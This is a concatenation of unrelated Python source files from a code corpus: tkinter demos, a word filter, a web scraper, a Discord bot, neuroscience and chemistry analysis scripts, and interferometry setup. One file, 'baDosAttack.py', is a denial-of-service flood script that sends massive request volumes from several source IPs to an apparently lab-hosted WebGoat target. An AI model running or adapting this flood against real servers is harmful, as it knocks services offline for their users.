integers.')\n parser.add_argument(\"-i\", \"--input\", help=\"Directory.\", required=True, type=utils.check_and_get_path)\n parser.add_argument(\"-s\", \"--start_date\", help=\"The start date - format YYYY-MM-DD.\",\n type=utils.date_format, required=True)\n parser.add_argument(\"-e\", \"--end_date\", help=\"The end date - format YYYY-MM-DD.\",\n type=utils.date_format, required=True)\n parser.add_argument(\"-a\", \"--analyzer\", help=\"Analyzer name.\",\n required=True, type=utils.analyzer_value)\n\n args = parser.parse_args()\n status = 'OK'\n try:\n database = Database(dbname=config.db[\"dbname\"], user=config.db[\"user\"],\n password=config.db[\"password\"], schema=config.db[\"schema\"],\n host=config.db['host'], port=config.db['port'],\n insert_count=config.db['insert_count'],\n auto_connect=False)\n\n logger.init_logger(config.logger.get(\"level\", \"\"))\n spark_session = SparkSession.builder.appName(__file__).getOrCreate()\n\n analyzer = args.analyzer(args.input, args.start_date, args.end_date, spark_session, database)\n analyzer.launch()\n except Exception as e:\n logger.get_logger().critical(\"Error: {msg}\".format(msg=str(e)))\n status = 'KO'\n finally:\n analyzer.terminate(datetime.now(), status)\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"543663469","text":"from tkinter import *\n\nroot = Tk() # Tk class 호출, 그 안의 함수 및 변수 사용\nroot.title(\"Nado GUI\") # 타이틀 설정\nroot.geometry(\"640x480\") # 프로그램 창 크기, 가로 * 세로, 등장 위치 좌표\n# root.geometry(\"640x480+300+100\") # 가로 * 세로 + x좌표 + y좌표\n\nframe= Frame(root) # 프레임 만들고\nframe.pack()\n\nscrollbar = Scrollbar(frame) # 프레임 안에 스크롤 바 생성\nscrollbar.pack(side=\"right\", fill=\"y\") # 스크롤 바의 위치와 모양\n\nlistbox = Listbox(frame, selectmode=\"extended\", height=10, yscrollcommand=scrollbar.set) # scrollbar.set을 해줌으로 스크롤 바가 있어야 할 위치에 잘 있게 해줌.\n\nfor i in range(1,32): # 1 ~ 31일\n listbox.insert(END, str(i)+\"일\")\n\nlistbox.pack(side=\"left\")\n\nscrollbar.config(command=listbox.yview) # 스크롤 바와 리스트 박스의 yview와 호환되게 함\n\nroot.mainloop() # 이벤트 루프 같은 역할, 창이 유지되고 돌아가게","sub_path":"gui_basic/13_scrollbar.py","file_name":"13_scrollbar.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"105050392","text":"#!/usr/bin/python2.7\n#coding:utf-8\n\n#敏感词用**代替:\n\nimport re\npath='/home/tongpinmo/software/pycharm-community-2017.3.1/projects/filtered_words'\n\ndef get_filters(path):\n if path is None:\n return\n\n filters = []\n with open(path,'r') as f:\n for line in f.readlines(): #readlines()一次性读取整个文件,返回一个列表\n if \"\\n\" in line:\n filters.append(line[:-1]) #line[:-1]去除文本最后一个字符剩下的部分\n else:\n filters.append(line)\n\n return filters\n\n\ndef sense_words():\n filters = get_filters(path)\n while True:\n tmp = raw_input(\"plz input:\")\n if tmp == \"0\":\n print(\"Exit\")\n break\n for filter_word in filters:\n new_str = \"\"\n if filter_word in tmp:\n if len(re.findall(u\"[\\u4e00-\\u9fa5]+\", filter_word)) > 0: #至少匹配一个汉字\n len_new_str = len(filter_word)\n else:\n len_new_str = 1\n for i in range(len_new_str):\n new_str += \"*\"\n tmp = (tmp).replace(filter_word, new_str)\n break\n print(tmp)\n\n\nif __name__ == '__main__':\n sense_words()\n\n\n","sub_path":"t0017_sensewords.py","file_name":"t0017_sensewords.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"156920988","text":"from bs4 import BeautifulSoup\n\n\nclass HtmlAnalyser:\n def get_actress_list_from_response(self, response):\n \"\"\"\n analyze response(HTML) and return actress's name, actress's img of path\n \"\"\"\n ret_list = []\n soup = BeautifulSoup(response.text, \"html.parser\")\n elms = soup.find_all('div', class_='thumbnailBox')\n\n for elm in elms:\n if elm.text:\n a_tag = elm.find('a', recursive=False)\n actress_name = a_tag['title']\n img_tag = a_tag.find('img')\n actress_img_path = ''\n if img_tag.has_attr('src'):\n actress_img_path = img_tag.get('src')\n elif img_tag.has_attr('data-original'):\n actress_img_path = a_tag.find('img').get('data-original')\n else:\n continue\n ret_list.append({'name': actress_name,\n 'img_url': actress_img_path})\n\n return ret_list\n","sub_path":"html_analyser.py","file_name":"html_analyser.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"201596106","text":"# Problem 7 : 21st Mar 2019\r\n# ask the user to input a number to get the square root of\r\ntry:\r\n i = int(input(\"Please enter a number: \"))\r\n# import the math module to avail of the function to calculate the square root\r\n import math \r\n\r\n# print the square root the value the user input above and user the sqrt function from the imported math module \r\n print (\"The approx value of the square root of your number is :\",(math.sqrt(i)))\r\n\r\n# if the user enters invalid data e.g. a string of text, a message appears\r\nexcept:\r\n print(\"Invalid input used, please input a positive integer\")\r\n\r\n","sub_path":"squareroot.py","file_name":"squareroot.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"260924806","text":"import asyncio \nfrom concurrent.futures import ThreadPoolExecutor\nimport time\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nimport requests\nfrom requests_toolbelt.adapters.source import SourceAddressAdapter\n\nnumOfWorkers = 20 \nnumOfRequests = 100000000 \nfqdn = 'webgoat.f5.demo'\nhttpHost = 'https://' + fqdn\n \nsrcIp1 = '10.1.10.51'\nsrcIp2 = '10.1.10.52'\nsrcIp3 = '10.1.10.53'\n\nsrcIp4 = '10.1.10.100'\n\nexecutor = ThreadPoolExecutor(max_workers=numOfWorkers)\nloop = asyncio.get_event_loop()\n\nsimilarityHeaders1 = {}\nsimilarityHeaders1['Host'] = fqdn \nsimilarityHeaders1['Pragma'] = 'no-cache' \nsimilarityHeaders1['Cache-Control'] = 'no-cache' \nsimilarityHeaders1['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \nsimilarityHeaders1['Upgrade-Insecure-Requests'] = '1' \nsimilarityHeaders1['User-Agent'] = 'yada' \nsimilarityHeaders1['Referer'] = 'https://10.0.2.1/none.htm' \nsimilarityHeaders1['Accept-Encoding'] = 'gzip, deflate' \nsimilarityHeaders1['Accept-Language'] = 'en-US' \n\n\nsimilarityHeaders2 = {}\nsimilarityHeaders2['Host'] = fqdn \nsimilarityHeaders2['Pragma'] = 'no-cache' \nsimilarityHeaders2['Cache-Control'] = 'no-cache' \nsimilarityHeaders2['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \nsimilarityHeaders2['Upgrade-Insecure-Requests'] = '1' \n#similarityHeaders2['User-Agent'] = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)' \nsimilarityHeaders2['User-Agent'] = 'yada' \nsimilarityHeaders2['Referer'] = 'https://10.0.2.1/none.htm' \nsimilarityHeaders2['Accept-Encoding'] = 'gzip, deflate' \nsimilarityHeaders2['Accept-Language'] = 'en-US' \n\n\nsimilarityHeaders3 = {}\nsimilarityHeaders3['Host'] = fqdn \nsimilarityHeaders3['Pragma'] = 'no-cache' \nsimilarityHeaders3['Cache-Control'] = 'no-cache' \nsimilarityHeaders3['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \nsimilarityHeaders3['Upgrade-Insecure-Requests'] = '1' \n#similarityHeaders3['User-Agent'] = 'WireXBot' \nsimilarityHeaders3['User-Agent'] = 'yada' \nsimilarityHeaders3['Referer'] = 'https://10.0.2.1/none.htm' \nsimilarityHeaders3['Accept-Encoding'] = 'gzip, deflate' \nsimilarityHeaders3['Accept-Language'] = 'en-US' \n\n\n\nsession1 = requests.Session()\nsession2 = requests.Session()\nsession3 = requests.Session()\n\nsession1.mount('https://', SourceAddressAdapter((srcIp1)))\nsession2.mount('https://', SourceAddressAdapter((srcIp2)))\nsession3.mount('https://', SourceAddressAdapter((srcIp3)))\n\n \nasync def make_requests():\n futures = [loop.run_in_executor(executor, session1.get(url='https://webgoat.f5.demo',headers=similarityHeaders1,verify=False), httpHost) for _ in range(numOfRequests)]\n\n futures = [loop.run_in_executor(executor, session2.get(url='https://webgoat.f5.demo',headers=similarityHeaders2,verify=False), httpHost) for _ in range(numOfRequests)]\n futures = [loop.run_in_executor(executor, session3.get(url='https://webgoat.f5.demo',headers=similarityHeaders3,verify=False), httpHost) for _ in range(numOfRequests)]\n #await asyncio.wait(futures)\n \nstart = time.time()\nloop.run_until_complete(make_requests())\nprint(time.time() - start)\n\n","sub_path":"baDosAttack.py","file_name":"baDosAttack.py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"520622865","text":"import discord\nfrom discord.ext import commands\nfrom pyson import pyson\n\ncurrency=pyson('currency')\n\nif 'name' not in currency.data:\n currency.data['name']='dollars'\n\nbot=commands.Bot(command_prefix=\"!\")\n\n@bot.event\nasync def on_ready():\n print('Logged in as: '+bot.user.name)\n print('With user ID: '+bot.user.id)\n\ndef check_id(ID):\n if ID not in currency.data:\n currency.data[ID]=0\n currency.save()\n\ndef is_approved():\n def predicate(ctx):\n author=ctx.message.author\n if author==ctx.message.server.owner or ('administrator',True) in author.server_permissions:\n return True\n return False\n return commands.check(predicate) \n\n@is_approved()\n@bot.command()\nasync def currency_type(ntype:str='dollars'):\n ''': Change name of your currency'''\n ptype=currency.data['name']\n currency.data['name']=ntype\n currency.save()\n await bot.say(f'The economy type has been changed from **{ptype}** to **{ntype}**')\n\n@is_approved()\n@bot.command(pass_context=True)\nasync def add(ctx,amount:int=0,member:discord.Member=None):\n ''': Add points/currency to a member's stash'''\n ID=member.id\n check_id(ID)\n currency.data[ID]+=amount\n currency.save()\n await bot.say(f'''{amount} {currency.data[\"name\"]} have been added to {member.mention}'s stash''')\n\n@is_approved()\n@bot.command(pass_context=True)\nasync def remove(ctx,amount:int=0,member:discord.Member=None):\n ''': Remove points/currency from a member's stash'''\n ID=member.id\n check_id(ID)\n currency.data[ID]-=amount\n currency.save()\n await bot.say(f'''{amount} {currency.data[\"name\"]} has been removed from {member.mention}'s stash''')\n\n@bot.command(pass_context=True)\nasync def stash(ctx):\n ''': Check your stash!'''\n member=ctx.message.author\n check_id(member.id)\n await bot.reply(f'you have {currency.data[member.id]} {currency.data[\"name\"]}')\n\n@bot.command(aliases=['leaderboards'])\nasync def leaderboard():\n ''': View the server leaderboad'''\n members=[(ID,score) for ID,score in currency.data.items() if ID !='name']\n if len(members)==0:\n await bot.say('I have nothing to show')\n return\n ordered=sorted(members,key=lambda x:x[1] ,reverse=True )\n players=''\n scores=''\n for ID,score in ordered:\n player=discord.utils.get(bot.get_all_members(),id=ID)\n players+=player.mention+'\\n'\n scores+=str(score)+'\\n'\n embed=discord.Embed(title='Leaderboard')\n embed.add_field(name='Player',value=players)\n embed.add_field(name='Score',value=scores)\n await bot.say(embed=embed)\n \n\nbot.run('TOKEN')\n","sub_path":"Currency/currency_bot.py","file_name":"currency_bot.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"154049914","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 02 16:40:58 2014\n\n@author: Michael Patterson, Palmiter Lab (map222@uw.edu)\n\"\"\"\n\nfrom __future__ import division\nimport numpy as np\nimport pdb\n \ndef main(spike_times, feed_times, time_range ):\n \"\"\" spike_times is an N X spikes matrix of spike times\n feeding_times is a 2 x N matrix of epochs when mouse was feeding (units of seconds)\n time_range is a pair of [start, stop] times in seconds (to avoid pre-food when they eat bedding, and after food during unit identification)\n \"\"\"\n\n # create time points for beginning and end of non-feeding times\n nonfeed_times = np.hstack(feed_times)\n nonfeed_times = np.insert(nonfeed_times, 0, time_range[0]) # I feel like this could be one line\n nonfeed_times = np.append(nonfeed_times, time_range[1]).reshape((-1, 2))\n \n num_units = np.size(spike_times)\n avg_feed_rate = np.zeros(num_units)\n avg_nonfeed_rate = np.zeros(num_units)\n \n for i, cur_spikes in enumerate(spike_times):\n avg_feed_rate[i] = calc_avg_rate_epoch(cur_spikes, feed_times)\n avg_nonfeed_rate[i] = calc_avg_rate_epoch(cur_spikes, nonfeed_times)\n \n return avg_feed_rate, avg_nonfeed_rate\n\n# calculate the average firing rate of point_process information in spike_times, between two timepoints in epoch_times\ndef calc_avg_rate_epoch(spike_times, epoch_times):\n total_spikes = 0\n total_time = 0\n \n for time_pairs in epoch_times:\n total_spikes += np.size( spike_times[(spike_times > time_pairs[0] ) & (spike_times < time_pairs[1] ) ])\n total_time += time_pairs[1] - time_pairs[0]\n return total_spikes / total_time","sub_path":"analysis/calc_firing_rate_feeding.py","file_name":"calc_firing_rate_feeding.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"86394699","text":"# -*- coding: utf-8 -*-\r\nfrom django.shortcuts import render\r\nfrom django.shortcuts import redirect\r\nfrom block.models import Block\r\n# from article.models import Article\r\nfrom article.forms import Articleform\r\nfrom django.contrib.auth.decorators import login_required\r\n\r\n@login_required\r\ndef content(request,block_id):\r\n block_id = int(block_id)\r\n block = Block.objects.get(id=block_id)\r\n\r\n if request.method =='GET':\r\n return render(request,'content.html',{'b':block})\r\n\r\n else:\r\n form=Articleform(request.POST)\r\n if form.is_valid():\r\n article = form.save(commit=False)\r\n article.block=block\r\n article.owner = request.user\r\n article.status=0\r\n article.save()\r\n return redirect('/article/list/%s'%block_id)\r\n else:\r\n return render(request,'content.html',{'b':block,'form':form})\r\n\r\n# 第一次的提交页面\r\n# art_title =request.POST['art_title'].strip()\r\n# art_content=request.POST['art_content'].strip()\r\n#\r\n# if not art_title or not art_content:\r\n# return render(request,'content.html',\r\n# {'b': block,\"error\":\"标题和内容不能为空\",\r\n# 'art_title':art_title,'art_content':art_content})\r\n#\r\n# if len(art_title)>100 or len(art_content)>10000:\r\n# return render(request, 'content.html',\r\n# {'b': block, \"error\": \"标题和内容太长\",\r\n# 'art_title': art_title, 'art_content': art_content})\r\n\r\n# 第二次的提交页面\r\n# if request.method =='GET':\r\n# return render(request,'content.html',{'b':block})\r\n#\r\n# else:\r\n# form=Articleform(request.POST)\r\n# if form.is_valid():\r\n# article = Article(block=block,title=form.cleaned_data[\"art_title\"],\r\n# status=0,content=form.cleaned_data[\"art_content\"])\r\n# article.save()\r\n# return redirect('/article/list/%s'%block_id)\r\n# else:\r\n# return render(request,'content.html',{'b':block,'form':form})","sub_path":"forum/content/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"176044062","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\nfrom collections import Counter\n\nn = int(input())\ndata = sorted([int(i) for i in input().split()])\n\nmean = sum(data)/n\nmedian = (data[n // 2] + data[-(n//2 + 1)]) / 2\nmode = sorted(sorted(Counter(data).items()),\n key=lambda x: x[1], reverse=True)[0][0]\n\nprint(mean)\nprint(median)\nprint(mode)\n","sub_path":"hackerrank/10_days_of_statistics/python/Day_0_Mean_Median_and_Mode.py","file_name":"Day_0_Mean_Median_and_Mode.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"316785361","text":"\nimport matplotlib\nmatplotlib.use('Agg')\nimport os\nimport datetime\nimport numpy as np\nimport dill as pickle\nimport random\nimport sys\nimport seaborn as sns\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nfrom collections import OrderedDict\nimport math\nfrom matplotlib.lines import Line2D\nfrom pylab import rcParams\nfrom collections import Counter\nfrom itertools import combinations\n#from datetime import datetime\n\nfrom shutil import copyfile\nrcParams['figure.figsize'] = 25, 10\n\nnp.random.seed(0)\nrandom.seed(0)\nnow = datetime.datetime.now().strftime(\"%B_%d_%Y_%H_%M_%S\")\nworkingdirectory = os.popen('git rev-parse --show-toplevel').read()[:-1]\nsys.path.append(workingdirectory)\nos.chdir(workingdirectory)\nfrom codes.geometer.RiemannianManifold import RiemannianManifold\nfrom codes.experimentclasses.EthanolAngles import EthanolAngles\nfrom codes.otherfunctions.get_dictionaries import get_all_atoms_4\nfrom codes.otherfunctions.get_grads import get_grads\nfrom codes.otherfunctions.multirun import get_support_recovery_lambda\nfrom codes.otherfunctions.multirun import get_lower_interesting_lambda\nfrom codes.otherfunctions.multirun import get_coeffs_and_lambdas\nfrom codes.otherfunctions.multirun import get_support\nfrom codes.otherfunctions.multiplot import plot_support_2d\nfrom codes.otherfunctions.multiplot import plot_reg_path_ax_lambdasearch\nfrom codes.otherfunctions.multiplot import plot_gs_v_dgnorm\nfrom codes.otherfunctions.multiplot import plot_dot_distributions\nfrom codes.otherfunctions.multirun import get_cosines\nfrom codes.flasso.Replicate import Replicate\nfrom codes.otherfunctions.multirun import get_olsnorm_and_supportsbrute\nfrom codes.otherfunctions.multiplot import highlight_cell\n\n\n\nfrom codes.geometer.RiemannianManifold import RiemannianManifold\nfrom codes.geometer.ShapeSpace import ShapeSpace\nfrom codes.geometer.TangentBundle import TangentBundle\n\n\ndef get_grads(experiment, Mpca, Mangles, N, selected_points):\n dimnoise = experiment.dimnoise\n dim = experiment.dim\n cores = experiment.cores\n\n tangent_bases = Mpca.get_wlpca_tangent_sel(Mpca, selected_points, dimnoise)\n subM = RiemannianManifold(Mpca.data[selected_points], dim)\n subM.tb = TangentBundle(subM, tangent_bases)\n N.tangent_bundle = TangentBundle(N, np.swapaxes(N.geom.rmetric.Hvv[:,:dim,:],1,2))\n\n df_M = experiment.get_dF_js_idM(Mpca, N, subM.tb, N.tangent_bundle, selected_points, dimnoise)\n df_M2 = df_M / np.sum(np.linalg.norm(df_M, axis=1) ** 2, axis=0)**(0.5)\n dg_x = experiment.get_dx_g_full(Mangles.data[selected_points])\n\n W = ShapeSpace(experiment.positions, Mangles.data)\n dw = W.get_dw(cores, experiment.atoms3, experiment.natoms, selected_points)\n dg_w = experiment.project(np.swapaxes(dw, 1, 2),\n experiment.project(dw, dg_x))\n\n dg_w_pca = np.asarray([np.matmul(experiment.projector, dg_w[j].transpose()).transpose() for j in range(len(selected_points))])\n dgw_norm = experiment.normalize(dg_w_pca)\n dg_M = experiment.project(subM.tb.tangent_bases, dgw_norm)\n return (df_M2, dg_M, dg_w, dg_w_pca, dgw_norm)\n\n\n#set parameters\n\n#set parameters\nn = 10000 #number of data points to simulate\nnsel = 500 #number of points to analyze with lasso\n#lambdas = np.asarray([0,.01,.1,1,10,100], dtype = np.float16)#lambda values for lasso\n#lambdas = np.asarray(np.hstack([np.asarray([0]),np.logspace(-3,1,11)]), dtype = np.float16)\nn_neighbors = 1000 #number of neighbors in megaman\nm = 3 #number of embedding dimensions (diffusion maps)\n#diffusion_time = 1. #diffusion time controls gaussian kernel radius per gradients paper\ndiffusion_time = 1. #(yuchia suggestion)\ndim = 2 #manifold dimension\ndimnoise = 2\ncores = 3 #number of cores for parallel processing\nii = np.asarray([0,0,0,0,1,1,1,2]) # atom adjacencies for dihedral angle computation\njj = np.asarray([1,2,3,4,5,6,7,8])\natoms4 = np.asarray([[6,1,0,4],[4,0,2,8],[7,6,5,1],[3,0,2,4]],dtype = int)\n\n#these are just for loading... probably not necessary\nnreps = 5\nlambda_max = 1\n\nfolder = workingdirectory + '/Figures/ethanol/' + now + 'n' + str(n) + 'nsel' + str(nsel) + 'nreps' + str(nreps)\nos.mkdir(folder)\n\n\nnew_MN = True\nnew_grad = True\nsavename = 'ethanol_120720'\nsavefolder = 'ethanol'\nloadfolder = 'ethanol'\nloadname = 'ethanol_120720'\nif new_MN == True:\n experiment = EthanolAngles(dim, ii, jj,cores,atoms4)\n projector = np.load(workingdirectory + '/untracked_data/chemistry_data/ethanolangles022119_pca50_components.npy')\n experiment.M = experiment.load_data() # if noise == False then noise parameters are overriden\n experiment.Mpca = RiemannianManifold(np.load(workingdirectory + '/untracked_data/chemistry_data/ethanolangles022119_pca50.npy'), dim)\n experiment.q = m\n experiment.m = m\n experiment.dimnoise = dimnoise\n experiment.projector = projector\n experiment.Mpca.geom = experiment.Mpca.compute_geom(diffusion_time, n_neighbors)\n experiment.N = experiment.Mpca.get_embedding3(experiment.Mpca.geom, m, diffusion_time, dim)\n with open(workingdirectory + '/untracked_data/embeddings/' + savefolder + '/' + savename + '.pkl' ,\n 'wb') as output:\n pickle.dump(experiment, output, pickle.HIGHEST_PROTOCOL)\nnatoms = 9\ntol = 1e-14\natoms4,p = get_all_atoms_4(natoms)\nexperiment.p = p\nexperiment.atoms4 = atoms4\n#experiment.itermax = itermax\nexperiment.tol = tol\nexperiment.dnoise = dim\nexperiment.nreps = nreps\nexperiment.nsel = nsel\nexperiment.folder = folder\n\nreplicates = {}\nselected_points_save = np.zeros((nreps,nsel))\n\nprint('pre-gradient acquisition')\nprint(datetime.datetime.now())\nfor i in range(nreps):\n print(i)\n selected_points = np.random.choice(list(range(n)),nsel,replace = False)\n selected_points_save[i] = selected_points\n replicates[i] = Replicate()\n replicates[i].nsel = nsel\n replicates[i].selected_points = selected_points\n replicates[i].df_M,replicates[i].dg_M,replicates[i].dg_w ,replicates[i].dg_w_pca ,replicates[i].dgw_norm = get_grads(experiment, experiment.Mpca, experiment.M, experiment.N, selected_points)\n replicates[i].dg_M = np.swapaxes(replicates[i].dg_M, 1,2)\n\nwith open(workingdirectory + '/untracked_data/embeddings/' + savefolder + '/' + savename + 'replicates.pkl' ,\n 'wb') as output:\n pickle.dump(replicates, output, pickle.HIGHEST_PROTOCOL)\n\n\nselected_points_save = np.asarray(selected_points_save, dtype = int)\ngl_itermax = 500\nlambdas_start = [0.,.0005 * np.sqrt(nsel * p)]\nmax_search = 15\nreg_l2 = 0.\ncard = dim\ntol = 1e-14\nlearning_rate = 100\n\nfrom pathos.multiprocessing import ProcessingPool as Pool\nfrom codes.flasso.GradientGroupLasso import batch_stream, get_sr_lambda_sam_parallel\n\nprint('pre-gradient descent')\nprint(datetime.datetime.now())\ncores = 16\npcor = Pool(cores)\nresults = pcor.map(lambda replicate: get_sr_lambda_sam_parallel(replicate, gl_itermax, lambdas_start,reg_l2, max_search, card, tol,learning_rate),\n batch_stream(replicates))\n\n # replicates[i].xtrain, replicates[i].groups = experiment.construct_X_js(replicates[i].dg_M)\n # replicates[i].ytrain = experiment.construct_Y_js(replicates[i].df_M,dimnoise)\n # replicates[i].coeff_dict = {}\n # replicates[i].coeff_dict[0] = experiment.get_betas_spam2(replicates[i].xtrain, replicates[i].ytrain, replicates[i].groups, np.asarray([0]), nsel, experiment.m, itermax, tol)\n # replicates[i].combined_norms = {}\n # replicates[i].combined_norms[0] = np.linalg.norm(np.linalg.norm(replicates[i].coeff_dict[0][:, :, :, :], axis=2), axis=1)[0,:]\n # replicates[i].higher_lambda,replicates[i].coeff_dict,replicates[i].combined_norms = get_support_recovery_lambda(experiment, replicates[i], lambda_max, max_search,dim)\n # replicates[i].lower_lambda,replicates[i].coeff_dict,replicates[i].combined_norms = get_lower_interesting_lambda(experiment, replicates[i], lambda_max, max_search)\n # #= experiment.get_betas_spam2(replicates[i].xtrain, replicates[i].ytrain, replicates[i].groups, lambdas, len(selected_points), n_embedding_coordinates, itermax, tol)\n\n\n\nwith open(workingdirectory + '/untracked_data/embeddings/' + savefolder + '/' + savename + 'results.pkl' ,\n 'wb') as output:\n pickle.dump(results, output, pickle.HIGHEST_PROTOCOL)\n\nprint('done')\nprint(datetime.datetime.now())\n","sub_path":"codes/experiments/ethanol_1204_palln500nrep5.py","file_name":"ethanol_1204_palln500nrep5.py","file_ext":"py","file_size_in_byte":8321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"443059588","text":"import numpy as NP \nimport astropy\nfrom astropy.io import fits\nfrom astropy.io import ascii\nimport progressbar as PGB\nimport matplotlib.pyplot as PLT\nimport aipy as AP\nimport interferometry as RI\nimport my_DSP_modules as DSP \nimport baseline_delay_horizon as DLY\nimport CLEAN_wrapper as CLN\nimport ipdb as PDB\n\nrootdir = '/data3/t_nithyanandan/'\n# rootdir = '/data3/MWA/lstbin_RA0/NT/'\n\nfilenaming_convention = 'new'\n# filenaming_convention = 'old'\n\nproject_MWA = False\nproject_LSTbin = True\nproject_HERA = False\nproject_beams = False\nproject_drift_scan = False\nproject_global_EoR = False\n\nproject_dir = ''\nif project_MWA: project_dir = 'project_MWA/'\nif project_LSTbin:\n if rootdir == '/data3/t_nithyanandan/':\n project_dir = 'project_LSTbin/'\nif project_HERA: project_dir = 'project_HERA/'\nif project_beams: project_dir = 'project_beams/'\nif project_drift_scan: project_dir = 'project_drift_scan/'\nif project_global_EoR: project_dir = 'project_global_EoR/'\n\ntelescope_id = 'custom'\nelement_size = 0.74\nelement_shape = 'delta'\nphased_array = True\n\nif (telescope_id == 'mwa') or (telescope_id == 'mwa_dipole'):\n element_size = 0.74\n element_shape = 'dipole'\nelif telescope_id == 'vla':\n element_size = 25.0\n element_shape = 'dish'\nelif telescope_id == 'gmrt':\n element_size = 45.0\n element_shape = 'dish'\nelif telescope_id == 'hera':\n element_size = 14.0\n element_shape = 'dish'\nelif telescope_id == 'custom':\n if (element_shape is None) or (element_size is None):\n raise ValueError('Both antenna element shape and size must be specified for the custom telescope type.')\n elif element_size <= 0.0:\n raise ValueError('Antenna element size must be positive.')\nelif telescope_id == 'mwa_tools':\n pass\nelse:\n raise ValueError('telescope ID must be specified.')\n\nif telescope_id == 'custom':\n if element_shape == 'delta':\n telescope_id = 'delta'\n else:\n telescope_id = '{0:.1f}m_{1:}'.format(element_size, element_shape)\n\n if phased_array:\n telescope_id = telescope_id + '_array'\ntelescope_str = telescope_id+'_'\n\nground_plane = 0.3 # height of antenna element above ground plane\nif ground_plane is None:\n ground_plane_str = 'no_ground_'\nelse:\n if ground_plane > 0.0:\n ground_plane_str = '{0:.1f}m_ground_'.format(ground_plane)\n else:\n raise ValueError('Height of antenna element above ground plane must be positive.')\n\ndelayerr = 0.05 # delay error rms in ns\nif delayerr is None:\n delayerr_str = ''\n delayerr = 0.0\nelif delayerr < 0.0:\n raise ValueError('delayerr must be non-negative.')\nelse:\n delayerr_str = 'derr_{0:.3f}ns'.format(delayerr)\ndelayerr *= 1e-9\n\ngainerr = 0.0 # Gain error rms in dB\nif gainerr is None:\n gainerr_str = ''\n gainerr = 0.0\nelif gainerr < 0.0:\n raise ValueError('gainerr must be non-negative.')\nelse:\n gainerr_str = '_gerr_{0:.2f}dB'.format(gainerr)\n\nnrand = 1 # Number of random realizations\nif nrand is None:\n nrandom_str = ''\n nrand = 1\nelif nrand < 1:\n raise ValueError('nrandom must be positive')\nelse:\n nrandom_str = '_nrand_{0:0d}_'.format(nrand)\n\nif (delayerr_str == '') and (gainerr_str == ''):\n nrand = 1\n nrandom_str = ''\n\ndelaygain_err_str = delayerr_str + gainerr_str + nrandom_str\n\n# array_layout = 'CIRC'\narray_layout = 'MWA-128T'\n# array_layout = 'HERA-331'\n\nminR = 141.0\nmaxR = None\n\nif array_layout == 'MWA-128T':\n ant_info = NP.loadtxt('/data3/t_nithyanandan/project_MWA/MWA_128T_antenna_locations_MNRAS_2012_Beardsley_et_al.txt', skiprows=6, comments='#', usecols=(0,1,2,3))\n ant_id = ant_info[:,0].astype(int).astype(str)\n ant_locs = ant_info[:,1:]\nelif array_layout == 'HERA-7':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=7)\nelif array_layout == 'HERA-19':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=19)\nelif array_layout == 'HERA-37':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=37)\nelif array_layout == 'HERA-61':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=61)\nelif array_layout == 'HERA-91':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=91)\nelif array_layout == 'HERA-127':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=127)\nelif array_layout == 'HERA-169':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=169)\nelif array_layout == 'HERA-217':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=217)\nelif array_layout == 'HERA-271':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=271)\nelif array_layout == 'HERA-331':\n ant_locs, ant_id = RI.hexagon_generator(14.6, n_total=331)\nelif array_layout == 'CIRC':\n ant_locs, ant_id = RI.circular_antenna_array(element_size, minR, maxR=maxR)\n\nbl, bl_id = RI.baseline_generator(ant_locs, ant_id=ant_id, auto=False, conjugate=False)\nbl, select_bl_ind, bl_count = RI.uniq_baselines(bl)\nbl_id = bl_id[select_bl_ind]\nbl_length = NP.sqrt(NP.sum(bl**2, axis=1))\nsortind = NP.argsort(bl_length, kind='mergesort')\nbl = bl[sortind,:]\nbl_id = bl_id[sortind]\nbl_length = bl_length[sortind]\ntotal_baselines = bl_length.size\n\nn_bl_chunks = 16\nbaseline_chunk_size = 128\nbaseline_bin_indices = range(0,total_baselines,baseline_chunk_size)\n\nnside = 64\nuse_GSM = 